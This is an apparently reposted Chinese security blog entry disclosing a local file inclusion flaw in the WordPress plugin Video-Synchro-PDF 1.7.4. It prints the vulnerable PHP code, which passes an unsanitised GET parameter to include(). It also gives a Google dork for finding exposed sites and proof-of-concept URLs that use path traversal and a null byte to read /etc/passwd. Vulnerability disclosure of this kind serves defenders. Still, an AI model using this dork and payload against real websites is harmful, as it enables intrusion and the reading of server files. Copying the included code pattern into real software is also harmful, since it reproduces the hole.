WordPress Video-Synchro-PDF 1.7.4 本地文件包含

Khan安全团队

发布于 2022-04-21 11:40:39

4580

发布于 2022-04-21 11:40:39

文章被收录于专栏：Khan安全团队

# Google Dork: inurl:/wp-content/plugins/video-synchro-pdf/

# 日期：29-03-2022

# 漏洞利用作者：Hassan Khan Yusufzai - Splint3r7

# 供应商主页：https://wordpress.org/plugins/video-synchro-pdf/

# 版本：1.7.4

# 漏洞文件：video-synchro-pdf/reglages/Menu_Plugins/tout.php

# 漏洞代码：

<?php
if ($_GET['p']<=NULL) {
	include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/index.php');
}else{
	include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/'.$_GET['p'].'.php');
}

http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=
<http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=../../../../../../../../../../../../../etc/index>[LFI]
http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=
<http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=../../../../../../../../../../../../../etc/index>../../../../../../../../../etc/passwd%00

本文系转载，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

网络安全